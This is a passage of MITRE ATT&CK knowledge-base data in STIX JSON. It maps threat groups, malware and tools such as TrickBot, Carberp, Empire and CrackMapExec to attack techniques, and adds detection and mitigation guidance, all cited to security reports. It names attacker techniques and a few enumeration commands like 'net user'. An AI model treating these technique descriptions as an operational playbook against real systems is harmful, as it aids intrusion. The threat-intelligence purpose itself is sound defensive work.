South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:14:11.275Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) has been delivered via spearphishing emails with Microsoft Office attachments.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--faf41333-e316-45ea-8f52-faa98b4683d5","created":"2024-04-17T18:35:19.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T19:57:59.288Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has the ability to enumerate the domain name of a victim, as well as if the host is a member of an Active Directory domain.(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fafa8b19-211d-4878-9d80-2126e1604b68","created":"2020-07-15T20:23:36.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.258Z","description":"[Carberp](https://attack.mitre.org/software/S0484)'s passw.plug plugin can gather passwords saved in Opera, Internet Explorer, Safari, Firefox, and Chrome.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb0121a7-4ba2-4e6d-a12d-b7375581b943","type":"relationship","created":"2019-01-30T14:26:43.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","source_name":"Symantec Gallmaker Oct 2018"}],"modified":"2019-04-16T14:51:35.271Z","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) sent emails with malicious Microsoft Office documents attached.(Citation: Symantec Gallmaker Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb0206c4-ed10-4922-9935-cbb2c7462acd","created":"2022-01-09T21:43:03.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.691Z","description":"[Hikit](https://attack.mitre.org/software/S0009) has the ability to download files to a compromised host.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb03b86a-02d4-4079-815f-46369026ad17","type":"relationship","created":"2021-05-21T20:19:59.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Exchange Mar 2021","url":"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/","description":"Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021."}],"modified":"2021-05-21T20:19:59.906Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has downloaded malicious DLLs which served as a [ShadowPad](https://attack.mitre.org/software/S0596) loader.(Citation: ESET Exchange Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb061840-c7b6-4df3-ac27-7b7e62d17ba5","created":"2024-01-02T19:08:50.040Z","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T19:08:50.040Z","description":"(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--54089fba-8662-4f37-9a44-6ad25a5f630a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb08d927-7963-4246-a672-4757ea7b6e29","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb0a3153-dbd8-4f32-8583-6a7e2fade337","type":"relationship","created":"2020-07-17T15:48:51.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.083Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can brute force supplied user credentials across a network range.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:21:08.748Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has run the command `net user` on a victim.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb1079fa-f399-48b3-aa34-ca096bed13c6","created":"2019-09-23T23:16:55.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.553Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb11df98-790a-4b1c-9ca0-73224226cff3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:44:09.714Z","description":"[ZLib](https://attack.mitre.org/software/S0086) communicates over HTTP for C2.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb152ce0-5c2f-435b-87cb-5f685f3116ac","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for newly constructed files that may modify client software binaries to establish persistent access to systems.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb16dea3-7f32-4778-b6af-3126c4547d17","type":"relationship","created":"2019-03-11T19:24:08.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.605Z","description":"[Empire](https://attack.mitre.org/software/S0363) includes various modules to attempt to bypass UAC for escalation of privileges.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb1ff794-8060-42c8-8969-b6660b07068f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.323Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb20c1f3-aa1e-49f3-9793-e07e0d430f5d","created":"2023-02-08T20:10:49.381Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T20:10:49.381Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can decode Kerberos 5 tickets and convert it to hashcat format for subsequent cracking.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb2122bc-cf7a-4e0b-8dcb-5ab27e37ea13","type":"relationship","created":"2020-02-27T18:17:58.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2022-03-08T21:52:42.666Z","description":"Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb21ff9d-1cd5-4908-a3a4-5f0d22cb8c10","created":"2020-12-28T18:50:41.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"Cybereason Bumblebee August 2022","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"FireEye FIN6 Apr 2019","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:26:58.826Z","description":"[AdFind](https://attack.mitre.org/software/S0552) can enumerate domain users.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: Cybereason Bumblebee August 2022)(Citation: Symantec Bumblebee June 2022)","relationship_type":"uses","source_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb229043-04d8-40e8-a155-bd2471bfc5c3","created":"2023-08-07T16:05:37.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.668Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used batch scripts that utilizes WMIC to execute a [BITSAdmin](https://attack.mitre.org/software/S0190) transfer of a ransomware payload to each compromised machine.(Citation: Mandiant FIN12 Oct 2021) ","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb243cd7-7dec-4836-a341-c9e30c0099ee","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T22:06:42.517Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of users belonging to the local users and administrators groups with the commands net localgroup administrators and net localgroup users.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb27a498-e1c1-47a4-a668-32c58c359f71","type":"relationship","created":"2019-03-12T17:42:01.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}],"modified":"2019-06-24T19:15:06.919Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has used an email with an Excel sheet containing a malicious macro to deploy the malware(Citation: TrendMicro Trickbot Feb 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb28df7f-ccc1-469d-8a91-e82b9b6006c1","type":"relationship","created":"2019-07-02T13:01:52.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}],"modified":"2020-03-20T16:37:06.694Z","description":"(Citation: ESET LoJax Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--b865dded-0553-4962-a44b-6fe7863effed","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Janicab","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","url":"https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:07:36.512Z","description":"[Janicab](https://attack.mitre.org/software/S0163) used a valid AppleDeveloperID to sign the code to get past security restrictions.(Citation: Janicab)","relationship_type":"uses","source_ref":"malware--234e7770-99b0-4f65-b983-d3230f76a60b","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb4099dc-c44a-49c4-b12e-5e58a5635bf4","created":"2024-05-28T18:43:00.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T12:58:12.281Z","description":"Remove unnecessary and potentially abusable authentication mechanisms where possible. For example, in Entra ID environments, disable the app password feature unless explicitly required. ","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb440b77-a0a7-481b-8719-3485414f5cc1","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fb496deb-4085-4cda-9239-fe75ed7a8828","created":"2022-04-11T19:03:30.963Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may employ various means to detect and avoid debugged environments. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required.","modified":"2022-04-11T19:03:30.963Z","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb527052-60a5-42d9-98ba-9388b29e2ac1","created":"2024-08-22T18:56:20.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T17:53:09.224Z","description":"\n[Cuckoo Stealer](https://attack.mitre.org/software/S1153) has captured passwords by prompting victims with a “macOS needs to access System Settings” GUI window.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fb5c3760-88a1-4681-9d39-590b6d41ec94","created":"2024-09-25T15:52:12.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware 